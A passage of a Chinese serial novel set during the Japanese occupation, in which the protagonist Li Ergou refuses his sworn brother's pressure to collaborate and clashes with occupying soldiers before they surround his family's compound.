“今天上午,县政府的人来下通知,让全县的乡绅下午去县里开会,名单里有咱们胡家大院。” “县政府?什么县政府?” 江东县已经沦陷,县长孙竹刚被俘,哪里又来的县政府? “我也奇怪啊,我问是哪个县政府,来下通知的人说是孙县长安排的。” “孙县长?” 李二狗更加疑惑了,孙竹刚不是被俘了吗? “狗哥,我给了下通知的人两块大洋,他才告诉了我实话,孙县长……他投靠了日本人!” 李二狗脑子“嗡”的一声,一时间只觉得天旋地转,脑子里浮现的全是严婆惜胸前那把明晃晃的剪刀。 自己的老婆孩子刚刚被日本人残忍地杀害,他转头就投靠日本人做了汉奸,李二狗实在难以理解孙竹刚的所作所为。 为了活命,难道就可以放弃一切原则和做人的底线吗? 李二狗读书不多,都知道做人的气节比天还重。 可孙竹刚读了那么多年的圣贤书,那些书都读到狗肚子里了吗? “狗哥,咱们到底去不去?这里面会不会有诈?” 李二狗眼里仿佛要喷火一般。 他咬牙切齿地说道:“去!我倒要看看他孙竹刚有何面目面对我!” 张二驴知道自己表现的时候到了。 “狗哥,要不然还是我替你去吧,万一有事,你留在大院也好有个后手。” 不管张二驴此话是真情还是假意,李二狗都感到十分欣慰。 “二驴,全县都知道胡家大院是我当家,如今大奶奶不在,我要是再不去,恐怕说不过去。现在是非常时期,还是我去吧,你留下来随机应变。” 自从于兰芝和张玲玉去了上海之后,李二狗已经遣散大院多人,粮食也都安排张二驴藏到了一个隐蔽的地方。 如今的胡家大院,只有十几个人十几条枪,除了这个大宅院,已经没有什么值钱的地方。 李二狗独自一人骑马来到江东县城,他远远地就看见城门上方插着一面日本鬼子的膏药旗,在阳光下显得格外刺目。 没想到江东县城刚沦陷两天,替他们卖命的汉奸就粉墨登场了! 第611章 二狗,你听大哥解释 城门口两侧用沙袋堆起了两处掩体,上面各架着两挺机枪。 掩体旁边站着几个日本鬼子,他们聚在一起,抽着烟,嘴里叽哩哇啦地聊着什么。 由于江东县城刚刚沦陷不久,日本鬼子在县城屠杀了大量的平民百姓,他们死的死,逃的逃,此时根本没有人进出县城。 李二狗牵着马,孤独地走向城门,还未靠近,便引起了日本鬼子的注意。 几条枪纷纷对准了李二狗。 “八嘎牙路!你的,什么地干活?” 日本鬼子旁边一个戴着鬼子军帽的中国人冲着李二狗喊道:“皇军问,你是什么人?” 李二狗神态自若,刚要把手插入兜中,几个日本鬼子吓得立马拉动枪栓。 “不许动!” 鬼子翻译官急忙冲李二狗喊道:“不许动!不然皇军毙了你!” 李二狗轻蔑地一笑,说道:“你告诉他们,我口袋里是开会的通知,县政府通知我到县城来开会。” 鬼子翻译官转头向一个日本鬼子叽里咕噜地说了一通。 日本鬼子一挥手,翻译官立即走到李二狗面前,伸手从他兜里掏出一张纸,果然是开会的通知。 翻译官把通知拿给一个日本鬼子看,日本鬼子根本看不懂汉语,便跑去岗亭打了一个电话。 打完电话出来之后,便向同伴说了一句什么,那些日本鬼子听后便把枪收了起来。 这个日本鬼子又叽里咕噜地和旁边翻译官说了几句,翻译官对着日本鬼子连连点头哈腰。 “我地,明白!” 然后他挺起腰杆,昂首挺胸地走到李二狗面前,把开会通知扔给了他。 “进去吧,直接去县政府,千万别在城里乱走,否则皇军保证不了你的生命安全。” 李二狗牵着马刚要进城,又被翻译官拦下了。 “把你的马留下!” 李二狗盯着翻译官那张沟壑纵横的肥脸,不屑地问道:“这是鬼子的意思?” 翻译官没想到李二狗还是个倔头,竟然敢用这种态度和自己说话,简直是胆大包天。 “是老子的意思,怎么着?你有意见?” 李二狗微微一笑,说道:“我没意见,只不过我怕你有命要,却没命骑。” 翻译官显然没料到李二狗说话如此硬气。 “你他妈的是不是活腻歪了?信不信老子现在杀了你就像碾死一只臭虫一样简单?” 李二狗心里非常清楚,孙竹刚点名让自己来县城开会,肯定是日本人的意思。 他根本不惧怕这个无耻的翻译官。 “你可以试试!” 翻译官一把揪住李二狗的衣领,从腰间的枪套里掏出了日本人刚刚赏赐给他的“王八壳子”手枪,对准了李二狗的脑袋。 “八嘎!” 一个日本鬼子走过来,抬手给了翻译官一记响亮的耳光。 翻译官被打的一个趔趄,差点摔倒在地上。 “快快地让他进去!” 翻译官从地上爬起来,捂着半边脸,满脸堆笑地说道:“嗨!皇军,我马上让他走!” 他看向李二狗,发现李二狗脸上浮现出一副嘲笑的表情,他恨死了李二狗,可又对他无可奈何。 “快滚!妈的,下次再让老子遇见你,一定让你小子吃不了兜着走!” 李二狗心中早已打定主意,他冷哼一声,不屑地说道:“我们很快会再见面的。” 他说完,转身牵着马直接进了城。 县城内一片狼藉,大片大片的房屋被烧的只剩下几处断壁残垣,有几处房屋还在冒着黑烟。 偌大的街道显得空空荡荡,根本看不到一个人影。 令李二狗感到奇怪的是,街上也没看到一个老百姓的尸体,想来日本人已经彻底毁尸灭迹。 李二狗来到县政府,门口竟有扛枪的警察在站岗,和往日不同的是,他们旁边还站有两个日本鬼子。 站岗的警察认识李二狗,他向李二狗敬了一个标准的军礼,说道:“李管家,孙县长正在会议室等您。” 即使他军礼敬的再标准,李二狗也不愿多看他一眼。 做汉奸,下场只有一个! 李二狗进入县政府大楼,里面和往常并没有任何不同之处,只不过,整栋大楼里静悄悄的,没有了往日的喧嚣。 来到会议室,孙竹刚正坐在正中央的一把椅子上,神情落寞,嘴角和眼睛处有几处乌青,显然是日本鬼子打的。 “二狗,你来的好快,快坐。” 李二狗没有像往前一样称呼他大哥,而是冷淡地问道:“不知道孙县长这么急把我叫来所为何事?” 孙竹刚已经从李二狗冷漠的态度里察觉到了什么,但他只能继续装糊涂。 “二狗,你先坐,等他们都到了再说。” 李二狗判断,除了自己之外,其他的乡绅肯定不会来,或者说不敢来,这个时候,谁会主动往日本人枪口上撞? 李二狗坐下之后,一直保持着沉默。 孙竹刚投降日本人做了汉奸,他自觉在李二狗面前矮了一头。 “二狗,有些事情我现在无法向你解释,等以后你会明白我的苦衷的。” 李二狗突然问道:“嫂子和孩子还好吗?” 孙竹刚明显一怔,脸色瞬间变得相当难看。 “她们……挺好的!” 李二狗只觉得心里“咯噔”一下,没想到孙竹刚竟是这种回答。 “那等会儿我去家里看看,好久没见嫂子她们了。” 孙竹刚忙说道:“不必了!” “怎么?有什么不方便吗?” 孙竹刚忙解释道:“不是……我已经把她们送到乡下去了,可能……要住很长一段时间,你也知道,如今城里不太平。” 李二狗讥讽道:“江东有孙县长在,怎么会不太平呢?孙县长也未免太谦虚了吧?” 孙竹刚终于控制不住了,他突然掩面失声痛哭起来。 哭泣的时候还刻意压制着声音,唯恐被外边的日本人听见。 李二狗根本不会同情他,反而更加厌恶他的行为。 他继续讥讽道:“孙县长,你还是县长,哭什么?应该高兴才对啊?” “二狗啊,你听大哥给你解释。” 第612章 拙劣的表演 孙竹刚的老婆和孩子刚刚被日本鬼子残忍地杀害,他不仅不去找日本鬼子报仇,反而投降日本人做了汉奸走狗。 这种认贼作父的行为,任凭你如何解释,李二狗都是绝对接受不了的。 “孙县长,你是大县长,而我只是一介平民,你用不着和我解释。” 李二狗冷漠地看着孙竹刚,孙竹刚羞愧难当。 没有人愿意心甘情愿的当汉奸,虽然他心中有一万个迫不得已,有一万个理由,但归根结底还是他怕死! 好死不如赖活着,孙竹刚从来都不是一个有原则的人。 李二狗保持沉默,孙竹刚只好也保持着沉默。 两个人就这样等了一个多小时,依然没有一个人进来。 孙竹刚显然没料到这群地主乡绅如此不给他这个县长面子。 “来人!” 孙竹刚大喝一声,门外立马进来一个人。 “你们都把通知送到了吗?他们怎么还没来?” “孙县长,我们都是按照您的命令亲自把通知送到那些人手里的。” “当时他们怎么说的?你们没告诉他们是我让他们来的吗?” “我们都说了,他们当时也都答应要来,不知道为什么,到现在还没有来!” “妈了个巴子!敬酒不吃吃罚酒,看老子以后怎么收拾他们。” 孙竹刚说完,不自觉地看了李二狗一眼,这句话他也是间接说给李二狗听的。 李二狗则不以为然,他怎么就不怕孙竹刚。 他连日本人都不怕,更何况一个孙竹刚! 孙竹刚亲自把椅子搬到李二狗旁边,满脸堆笑。 “二狗兄弟啊,今天把你叫来,主要是有一件重要的事情要向你传达。” 李二狗知道,孙竹刚要传达的事情肯定是日本人安排的,他之所以选择前来,就是想看看日本人到底想要出什么幺蛾子。 李二狗鼻子里冷“哼”一声,没有回话,等着接下来孙竹刚开始拙劣的表演。 “皇军……”孙竹刚显然还没有适应现在的角色,口中刚说出“皇军”二字,脸就变成了猪肝色。 他虽然很无耻,但也是要脸的人。 “皇军要求我尽快恢复江东的社会秩序,现在全省的政府官员都扔下百姓独自逃走了……” 李二狗的眼睛死死地盯着孙竹刚,那些国民政府的官员逃跑不假,但总比留下来给鬼子当汉奸强百倍。 “孙县长,大家都很忙,你有什么话还是直接说吧,别绕来绕去了。” 孙竹刚自从当了汉奸之后,心里一直憋着一股气,此时被李二狗接二连三的羞辱,他终于还是忍不住了。 “二狗,你能不能不要总是这样阴阳怪气的和我说话,不管怎么样,我都是你大哥,咱们是一个头磕在地上的兄弟。” 李二狗依旧冷淡如初。 “孙县长,你这样说我可高攀不起啊,我李二狗是个粗人,命如草芥,这一生也没有别的追求,我只想踏踏实实做一个人。” 李二狗故意把“人”字说的很重,孙竹刚被他彻底激怒了。 “省政府的夏主席都投降了,我一个小小的江东县长能怎么办?难道我就眼睁睁地看着十万江东父老全部被日本人杀死吗?我是江东的父母官,这样的事情,我做不到!” 孙竹刚激动地站了起来,此时的他脸红脖子粗,连说话的声音都跟着颤抖起来。 “我知道,投降日本人,做了你们口中所谓的汉奸,大家都会骂我的祖宗十八代,但我孙竹刚一个人的名声能值几个钱?只要能挽救江东百姓于水火,哪怕让我现在去死,我也在所不惜!” 多么拙劣的表演! 明明是自己怕死,却说成是为了江东百姓忍辱负重! 李二狗读书不多,但也明白人固有一死,或重于泰山,或轻于鸿毛的道理。 也明白富贵不能淫、威武不能屈、贫贱不能移的道理。 更明白人生自古谁无死,留取丹心照汗青的道理。 可孙竹刚这个读了一辈子圣贤书的人却不懂! 他的书都读到狗肚子里去了! “孙县长,我刚才都说过了,我只是一介平民,你说的这些微言大义我听不懂,你还是直接说事吧。” 孙竹刚没想到李二狗如此不明事理,自己这般忍辱负重,却不能得到理解,他心里委屈的直想掉眼泪。 而此时的李二狗,脑海里全是严婆惜胸前那把明晃晃的剪刀,即使孙竹刚说出大天来,李二狗也绝对不会原谅他。 脑袋掉了碗大个疤,像孙竹刚这般贪生怕死之辈,李二狗能给他的只有鄙视,深深地鄙视! “二狗啊,你现在不理解我,我能理解,总有一天你会理解我的苦衷!” “孙县长,你要是没有别的事,那我就先回去了。” 李二狗说完,站起来就走。 “二狗,等一下!我还有话说。” “有事就说事,别扯这些没用的。” 李二狗耐着性子坐下来,孙竹刚耐着性子说下去。 “为了实现大东亚共荣,建立一个经济繁荣、社会稳定的新秩序,皇军决定,赋予咱们江东县政府充分的自治权。即日起,江东县每个乡镇都要成立维持会,然后选出一位德高望重之人担任维持会会长。二狗,你的机会来了。” 把当汉奸说的如此清新脱俗,李二狗对孙竹刚刮目相看。 真是人至贱则无敌! 李二狗听明白了孙竹刚的意思,他是想让自己担任仙人洞镇维持会会长。 但李二狗绝对不会当汉奸! “这是你们的事,和我有什么相干?你还有别的事吗?没有的话我先走了。” 李二狗站起来又要走,又被孙竹刚叫住了。 “二狗,咱们是兄弟,你能不能支持一下大哥的工作?你知道维持会会长的位子有多少人在盯着吗?可我第一时间就想到了你。” “孙县长,我李二狗才疏学浅,做不了这个会长,你还是另选贤良吧。” “二狗!”孙竹刚走到李二狗跟前,语重心长地说道:“你能不能理智一点!不要总是这么冲动嘛!” 第613章 不识抬举 孙竹刚故意瞅了瞅门外,然后苦口婆心地劝道:“二狗啊,现在咱们整个省都被日本人占领了,他们一路南下,势如破竹,国民政府的军队则是节节败退,如今看来,日本人占领整个中国只是时间问题啊。古人道,识时务者为俊杰,你这个时候可千万不要犯糊涂啊。” 李二狗冷冷地问道:“孙县长,那我该怎么识时务?难道和你一样给日本鬼子当汉奸吗?我现在就可以明确地告诉你,我李二狗做不到!” 孙竹刚吓得赶紧说道:“你小点声!什么日本鬼子?你就不怕被他们听到吗?现在都得叫皇军!” 李二狗以前认为孙竹刚只不过是有些贪财罢了,却没想到他竟如此没有做人的底线。 “呵呵,我感觉你不应该称呼他们皇军!” 孙竹刚一愣,很认真地问道:“那叫他们什么?” “你应该叫他们爷爷!” “你……,二狗,你怎么如此糊涂啊?大哥我给你说这些可都是为了你好啊!一旦得罪了日本人,你后悔都来不及!” “如果你真是为了我好,那现在就向日本辞职,别干这个狗屁县长,我还认你这个大哥。” 孙竹刚无奈地叹了一口气,他没想到,一向处事灵活的李二狗,为何此时变得如此固执。 “二狗,不是大哥舍不得县长这个位子,而是我们一定要看清现在的形势啊。” “现在是什么形势?” 李二狗倒想听听孙竹刚会怎么狡辩! “现在整个华北地区都已经是日本人的天下了,国民政府都扔下百姓跑了,咱们还在这里硬撑什么?你知道咱们和日本国的差距有多大吗?简直是天壤之别!咱们绝没有胜利的可能!” “所以,咱们就应该心甘情愿地做汉奸、当亡国奴,是吗?” “什么亡国奴?看你说的那么难听,日本人是来帮助咱们国家摆脱西方列强的压迫,建立一个共存共荣的美好世界,咱们应该感谢他们。” 面对如此无耻的言论,李二狗已经完全没有反驳的欲望。 李二狗真想问问他,严婆惜现在在哪里?他的孩子在哪里? 但他最后还是忍住了! 面对如此自欺欺人又无可救药之人,李二狗不愿意再浪费口舌。 李二狗没说话,孙竹刚以为自己刚才的话打动了李二狗。 他继续说道:“你看看现在的东北,自从被日本人占领之后,建立了满洲国,让咱们中国人自己当家做主。你知道如今满洲国的百姓生活的有多幸福吗?他们顿顿吃猪肉,天天吃大米。那小日子过的,那叫一个美!” 李二狗被孙竹刚的天真逗笑了,他自己刚从东北回来没多久,老百姓过得什么日子他能不清楚吗? “孙县长,我刚才已经说过了,我做不了维持会长,你还是把这个宝贵的机会留给其他更懂实务的人吧。” 李二狗如此软硬不吃,孙竹刚终于失去了耐心。 “二狗,你不为自己考虑,难道也不为胡家大院的人考虑吗?” 胡家大院的人已经被李二狗提前送去了上海,他真不怕孙竹刚的威胁,大不了把所有的下人都遣散。 “我想他们和我一样,只想做一个堂堂正正的中国人。” “你……”孙竹刚手指李二狗,被气得一时说不出话来,“二狗,现在不比从前了,以后就是皇军说了算,你可能还不知道,皇军是不允许私人拥有武装的!” 李二狗双眼死死地盯着孙竹刚,他没想到孙竹刚竟然敢拿清风集团威胁自己! 自己对他残留的最后一丝感情也消失了! “孙县长,你刚刚说了,识时务者为俊杰,我那些兄弟可一个个都是暴脾气,我担心他们知道这个消息之后会控制不住自己的脾气,要是他们非要来找你理论理论,我可一定劝得住他们!” 孙竹刚内心十分惧怕,嘴上却硬得很。 “李二狗,我是堂堂江东县县长,你以为我会怕你威胁吗?” 李二狗微微一笑,保持着惯有的笑容。 “孙县长都不怕威胁,我一个平头老百姓当然更不怕威胁!正所谓光脚的不怕穿鞋的,你说呢?孙县长。” 孙竹刚当然知道李二狗的实力,更知道他的手段,他身后虽然有日本人撑腰,但并不想和李二狗彻底撕破脸。 “二狗,咱们是兄弟,难道一定要如此吗?” “既如此,便如此!孙县长,告辞!” 李二狗拂袖而去,只剩下气得发抖的孙竹刚。 “李二狗,我告诉你,有你哭着回来求我的时候,到时候别怪我不讲兄弟感情。” 李二狗头也不回地走了。 “来人!” 门口一个警察走进来,向孙竹刚敬了一个军礼,立正问道:“请县长吩咐!” 孙竹刚本想派人把李二狗抓起来,可现在他又犹豫了。 李二狗掌握着清风集团的武装力量,虽然他不清楚李二狗究竟有多少人马,但集团下面有五个山寨,实力肯定小不了。 如果把李二狗抓起来,他手底下的那些人肯定会把这笔账算在自己头上。 躲得了初一,躲不了十五。 目前日本人的主要精力都放在攻城略地上,想让他们去深山老林剿灭一群土匪,想来是不可能的。 “没事了,你先出去吧。” 这个警察又向孙竹刚敬了一个标准的军礼,然后转身离开了。 在孙竹刚的计划中,李二狗是关键一环,因为他了解李二狗的实力。 如果李二狗肯当仙人洞镇维持会长,就稳住了全县的基本盘。 可现在他却拒绝了。 在他印象中,李二狗虽然讲义气、重感情,但并不是一个讲原则、有道德的人。 一向有便宜就占、有女人就上的人,怎么这次拒绝的如此彻底? 日本人催促的紧,既然李二狗不肯担任维持会长,他必须尽快找到新的人选。 想到其他乡镇的地主乡绅竟然不听他的命令,他顿时摔了杯子。 “一群不识抬举的东西,看老子怎么收拾你们。” 第614章 倔强的李二狗 李二狗出了县政府的大门,一直留心着身后的动静。 他担心孙竹刚气急败坏,暗中派人把自己抓起来。 两人虽是结义兄弟,但彼此只是利用关系,一旦打破这种关系,两人很可能会变成仇人。 不过李二狗也不是很担心,他知道自己的实力。 手下的人马多,腰杆子就硬,孙竹刚不敢轻易得罪他,这也是他极力拉拢李二狗的原因。 但不做汉奸是李二狗的做人底线,他虽不是圣人,但绝不做民族败类。 想到这,李二狗翻身上马,一拉缰绳,向着城门口方向疾驰而去。 突然,两个日本鬼子持枪拦住了李二狗的去路。 一个中国人竟然骑着高头大马在大街上奔驰,这在沦陷后的江东县城绝对是一条亮丽的风景线,想不引人注意都难。 李二狗显然没把日本人放在眼里,他还没有适应亡国奴的身份,可日本人又岂会把中国人放在眼里? 他们绝不允许中国人在他们占领的中国的土地上神气活现。 “八嘎呀路!你地,滚下来!” 一个日本鬼子举枪瞄准了李二狗,他们之所以没有立即开枪,是因为还没有弄清楚李二狗到底是什么人! 敢在大街上如此嚣张之人,肯定不是普通人! 秉持着好汉不吃眼前亏的古训,李二狗勒住缰绳从马上跳了下来。 “你地,什么的干活?” 李二狗根本听不懂日本人嘴里叽里咕噜的鸟语。 听不懂那就保持沉默,可李二狗眼中对日本鬼子的那股敌意却根本掩饰不住! 李二狗的沉默让日本鬼子相当恼火,尤其是他眼中那不屑一顾的样子,更加令高傲的日本人感觉受到了极端的不尊重。 “八嘎呀路!” 一个日本鬼子一枪托砸向李二狗,却被李二狗轻易地闪身躲过了。 “八嘎!” 日本鬼子恼羞成怒,“哗啦哗啦”拉响了枪栓。 李二狗眼见形势危急,已顾不得许多,准备先杀了这两个日本鬼子再图后事。 正当他准备动手之时,身后突然传来一个声音。 “皇军息怒,皇军息怒,大家都是自己人,自己人。” 孙竹刚这时突然出现在李二狗身后,他旁边还带了一个翻译。 作为刚刚上任的汉奸县长,这两个日本鬼子认识孙竹刚。 “他是什么人?” “皇军,这位是江东县仙人洞镇维持会会长李二狗,和我一样,都是皇军的好朋友。” 孙竹刚说完就给旁边的翻译使了个眼色,翻译赶紧把孙竹刚的话翻译给那两个日本鬼子听。 日本鬼子听后,这才把枪收了起来。 “他地,”一个日本鬼子手指李二狗,“态度十分地嚣张,你地,好好教育教育他,让他给我们道歉!” “他们说的什么?” 翻译赶紧把日本鬼子的话翻译给孙竹刚听,孙竹刚忙不迭地点头。 “好的,好的。” 李二狗当然也听到翻译的话,看着日本鬼子猥琐的样子,他恨得牙痒痒。 李二狗一直想不明白,如此猥琐矮小的日本人,为何态度会如此傲慢! 他真想立马冲上去扭断这两个日本鬼子的脑袋。 这对他来说,并不是什么难事。 可这样做的后果他更清楚。 “二狗,别愣着了,快给皇军道歉!” 李二狗可以克制隐忍,不杀这两个日本鬼子,可让他给日本鬼子道歉,却万万不可能。 “道个鸡巴歉!老子现在不杀他们就是他们的造化!” 孙竹刚劝道:“二狗啊,好汉不吃眼前亏,你何苦得罪他们呢?你知不知道?他们现在杀死你根本不用承担任何后果!” “老子杀掉这两个龟孙也不费事!” 两个日本鬼子听到孙竹刚和李二狗的对话,他们显然从李二狗不屑一顾的态度中觉察到了什么。 “不道歉?死啦死啦地!” 孙竹刚忙赔笑道:“皇军息怒,他道歉,他已经答应道歉了!” “二狗,你就听大哥一次吧,不然大哥也救不了你!赶快道歉!” 李二狗已经做好了鱼死网破的准备,杀掉两个日本鬼子之后再逃走,对他来说并不是什么难事。 他唯一担心的就是日本鬼子的报复!毕竟胡家大院还有十几口人! 两个日本鬼子还没见过像李二狗这般态度嚣张的中国人。 “八嘎!” 说着他们再次举起枪对准了李二狗。 孙竹刚急得抓耳挠腮。 “二狗,你到底道不道歉?” 李二狗态度坚决。 “我不道歉!” 孙竹刚转头对翻译说道:“他道歉了,你快给皇军翻译。” 翻译立刻心领神会,向两个日本鬼子翻译道:“刚才这个人说他错了,对不起!” 李二狗虽然不道歉,但孙竹刚这样做,给了他一个台阶,他也没必要揭穿他。 两个日本鬼子这才放下枪,然后狠狠地瞪了李二狗一眼。 “下次别让我们再碰见你!” 一个日本鬼子走到李二狗身前,从他手里抢过马缰绳。 “你们支那人,不配骑这么好的马!” “你们……” 李二狗刚要上前和日本鬼子理论,孙竹刚一把从身后抱住了他。 “二狗啊,不就是一匹马吗?你难道还缺一匹马吗?别再惹事了!” 李二狗恨得牙痒痒,但此刻也只能暂时隐忍下来。 孙竹刚笑得特别谄媚。 “皇军,这匹马就当我们孝敬皇军了,您慢走!” 两个日本鬼子牵着李二狗的马神气活现地走了。 “二狗,现在都什么形势了?你做事怎么还这么冲动?人在屋檐下,不得不低头。江东已经是日本人的天下了!刚才要不是我及时赶到,你知道是什么后果吗?” 李二狗虽然极其讨厌孙竹刚投敌的行为,但刚才毕竟是孙竹刚救了自己。 他可以不骂他,但要让自己感谢他,李二狗还是做不到。 孙竹刚还在唠叨不停的时候,李二狗已经离开了。 望着李二狗离去的的背影,孙竹刚一脸的无奈,他始终想不明白,为何李二狗如此倔强。 他一向是一个灵活的人,现在怎么变成了榆木脑袋! 第615章 李二狗的孤独 夜色深沉,沉甸甸地压在胡家大院的飞檐翘角上。 李二狗的布鞋踩在大院门前的青石板上,发出“啪嗒、啪嗒”的声响,每一步都带着长途跋涉的沉重。 从县城到胡家大院,几十里的路,他走了整整七个时辰,脚底磨出的血泡都磨破了,疼得钻心,却远不及心里那股说不清道不明的憋闷。 “狗哥,你走回来的?” 门房的灯一直亮了,张二驴从房里走出来,眼睛里满是红血丝,显然是熬了半宿。 他手里还攥着一把驳壳枪,一看就知道是随时准备着的。 李二狗停下脚步,脸上露出惯常的那种笑,嘴角微微上扬,眼角的纹路舒展开来,仿佛刚才在县城经历的那些血腥和屈辱都只是幻觉。 “嗯,”他应了一声,声音里带着掩饰不住的疲惫,却还是硬撑着打趣道,“运气不好,马被狗日的日本鬼子抢了,可惜了那匹膘肥体壮的骏马。” 张二驴这才注意到他裤脚的泥污和鞋上的血渍,眉头瞬间拧成了疙瘩,伸手想扶他,又觉得不妥。 “抢了就抢了,人没事比啥都强。狗哥,你快进屋歇歇吧,我让厨房给你留了热汤。” 他上下打量着李二狗,见他虽然脸色发白,眼神却还算清明,不像受了重伤的样子,悬着的心才稍稍落下些。 “孙县长叫你去县城,到底啥事?”张二驴跟在他身后往里走,声音压得低低的,“难不成他真当了汉奸?” 李二狗迈上台阶的脚步顿了顿,廊下的灯笼被风吹得晃了晃,光在他脸上投下明明暗暗的影。“嗯,当了。”他轻描淡写地说道,“还让我回仙人洞镇,牵头成立维持会,当会长。” “维持会?”张二驴愣了愣,挠了挠后脑勺,“那是啥玩意儿?听着不像好东西。” “就是治安维持会。”李二狗推开虚掩的侧门,夜里的风灌进来,吹得他脖子一缩,“说白了,就是帮日本人在沦陷区看场子,管着地面上的治安,替他们吆喝,让老百姓乖乖听话。” “那……那不是汉奸吗?”张二驴的声音突然变大,眼睛瞪得像铜铃,“这个孙竹刚,自己当了婊子还想拉着你下水!狗娘养的,实在可恨!” 李二狗没接话,走到门房的条凳上坐下,从怀里摸出一盒烟,却半天没找到火折子。 张二驴赶紧划了根火柴递过去,火苗在风里抖了抖,照亮了他眼底的迷茫。 “二驴,这不是孙竹刚一个人的主意。”他吸了一口烟,把烟雾徐徐吐向空中,一阵微风袭来,正在袅袅上升的烟圈立马就随风飘散了,“日本人占了咱们中国的地盘,他们人员不足,就得找些本地人帮着治理,维持会是他们在东北的老法子。江东这一片,各个乡镇迟早都得建,咱们躲不过去。” “躲不过去就打!”张二驴把驳壳枪往桌上一拍,枪身砸在桌面上,发出“咚”的一声闷响,“管他什么维持会、鬼子兵,敢动咱们胡家大院一根手指头,我就带着弟兄们跟他们拼了!咱们院里那十几杆枪,可不是烧火棍!” 李二狗看着张二驴涨红的脸,心里却没什么波澜。 张二驴的血性,他懂,可血性在日本人的飞机大炮面前,有时候就像山坡上的蒲公英,风一吹就全散了。 他想起孙竹刚在县城说的那些话,“识时务者为俊杰”“胳膊拧不过大腿”,还有那句赤裸裸的威胁,“日本人不允许私人拥有武装”。 “二驴,”他吐了一口烟圈,烟雾在眼前散开,像一层模糊的纱,“日本人来了,这世道已经变了。咱们手里的民团,怕是留不住了,日本人不允许私人拥有武装。” 张二驴的脸瞬间白了,嘴唇哆嗦着:“那……那咋办?这乱世,没枪杆子,跟没穿裤子出门有啥区别?谁都能上来啃一口!前几年闹土匪、闹兵患,哪回不是靠枪杆子才保住的大院?” “走一步看一步吧。”李二狗站起身,把烟头扔在脚下,用鞋底用力地搓了搓,“你先去把院里的枪收拾收拾,找个隐蔽的地方先藏起来。藏枪的地方别声张,就你自己知道就行。” 胡家大院的民团,李二狗只信任张二驴。 张二驴还想说什么,看李二狗脸色沉了下来,终究还是把话咽了回去,他把枪装入枪套,转身走进夜色里。 他的脚步声越来越远,院子里很快只剩下风刮过树叶的“沙沙”声。 李二狗慢慢往自己的院子走。 月光从树缝里漏下来,在青石板上投下斑驳的影子,像一地打碎的银钱。 院子里静得可怕,往常这个时候,于兰芝总会在廊下等他,手里抱着梦瑶。 张玲玉会坐在窗前等他,灯光透过窗纸,映出她那张柔美的侧脸。 李素文说不定会跳出来,吓他一跳,然后送上一个甜蜜的吻。 可现在,于兰芝和张玲玉去了上海,李素文在清风农场,还有宋小曼一直没有消息,生死未卜……偌大的院子,空得能听见自己的心跳。 一种从未有过的孤独感,像潮水似的漫上来,从脚底一直淹到胸口,闷得他喘不过气。 他走到廊下,坐在平时于兰芝常坐的那张竹椅上,椅子冰凉,没有一点温度。 他想起几年前,自己还是一个穿着破棉袄、揣着一块银元出来找活计的穷小子,连口热饭都吃不上。 要不是进了胡家大院,阴差阳错遇到了于兰芝,他现在说不定早就饿死在哪个角落,或者死在军阀混战的乱枪底下了。 这些年,他一步一步往上爬,目前拥有了近千人近千条枪的清风集团,手下的弟兄个个能征善战。 在几大外国银行的保险柜里,锁着数不清的美元、英镑,还有一箱箱的金条。 在上海的租界区,他还有一双活泼可爱的儿女。 还有几个知冷知热的红颜知己…… 男人这一辈子想有的,李二狗好像都有了。 第616章 胡家大院被人举报 李二狗看似已经拥有了一切,可先前在江东县城,他看着日本鬼子用刺刀挑着孩子的尸体,看着严婆惜胸前插着一把明晃晃的剪刀,倒在血泊里,看着孙竹刚心甘情愿地当了汉奸走狗,在自己面前耀武扬威。 他突然觉得心里空落落的,像是被掏走了一块。 他手里有枪,有钱,有人,可他还是挡不住日本鬼子进城,护不住想护的人,甚至连自己下一步该往哪走,他都不知道。 难道带着人去跟日本鬼子硬拼吗? 清风集团和胡家大院加起来那点人,在日本鬼子的飞机大炮面前,怕是不够他们塞牙缝的。这些弟兄们的命也是命,不能就这样轻易被自己葬送掉。 是假意顺从,加入维持会,当会长? 那跟孙竹刚还有什么区别?他李二狗这辈子最恨的就是叛国投敌当汉奸的人。 是带着人一直藏在深山老林里? 可深山老林里又能藏多久?弟兄们难道一辈子都不下山吗? 不下山做生意,跑贸易,那弟兄们吃啥喝啥? 李二狗手里的烟头早就熄灭了,可他还是放在嘴里一下一下地抽着,直到彻底没有了味道,他才缓缓抬起头。 天上的月亮被厚厚的一层乌云遮住了,院子里变得更暗了,只有远处的狗叫声,断断续续地传来,像是在替李二狗发愁。 他不知道这样的日子还要过多久,也不知道天什么时候会亮,他只是觉得累,累得像走了三天三夜的山路,连手指头都不想动。 风卷着树叶,在他的脚边打了一个旋,又被吹向黑暗里,像一个找不到家的孩子。 李二狗叹了一口气,把烟头扔在地上,慢慢站起身,往屋里走去。 不管怎么说,日子还得过下去,哪怕眼前一片迷茫,也得摸着黑继续往前走。 第二天早上,李二狗被一阵急促的敲门声惊醒。 他昨晚迷迷糊糊,一直天快亮时才睡着,现在又被吵醒了。 “谁在外边?”李二狗没有好气地问道。 “狗哥,是我,出事了。” 李二狗听出是张二驴的声音,知道他一向稳重,要是没有重要的事,肯定不会这么着急地来敲门。 李二狗打开房门,张二驴已急得满头大汗。 “出什么事了?” “狗哥,外边来了几个日本鬼子。” “日本鬼子?”李二狗吃惊不小,“日本鬼子大清早来咱们胡家大院干什么?” “不知道啊!我在角楼上看是日本鬼子没敢开门,马上来向你报告。” “走,我们出去看看。” 李二狗知道,日本鬼子突然来到胡家大院,肯定来者不善,想躲是躲不掉的。 李二狗一边往外走,一边问道:“外边来了多少人?” “我看着有四个日本鬼子,还有十几个警察。” “孙竹刚来了吗?” “没看到。” 孙竹刚没来,是为了避嫌还是他并不知情? 李二狗突然转头问道:“二驴,枪都藏好了吗?” “藏好了。” “地方安全吗?” “安全,藏在以前胡老爷存放金银珠宝的暗室里,其他人都不知情。” 当年因为张玲玉吃里扒外,向清风寨的土匪泄露了这个暗室的位置,导致胡家大院损失惨重。 如今知道这个暗室位置的人基本都不在胡家大院了,李二狗内心稍安。 张二驴问道:“狗哥,要不要我现在带人把枪取出来,和日本鬼子拼了?” 李二狗忙劝道:“万万不可!咱们这几个人几条枪可不是日本鬼子的对手。” “那怎么办?我看日本鬼子来者不善!” “先看看再说,看我眼色行事,千万不要冲动!” 来到大院门口,外边的人正在疯狂的砸门,门内的几个家丁早已吓得脸色惨白,他们早就听说日本鬼子的凶残。 李二狗镇定地说道:“把门打开!” 家丁们见李二狗到来,内心才安定下来。 院门一打开,日本鬼子和十几个警察就把李二狗等人围住了,十几条枪对着他们。 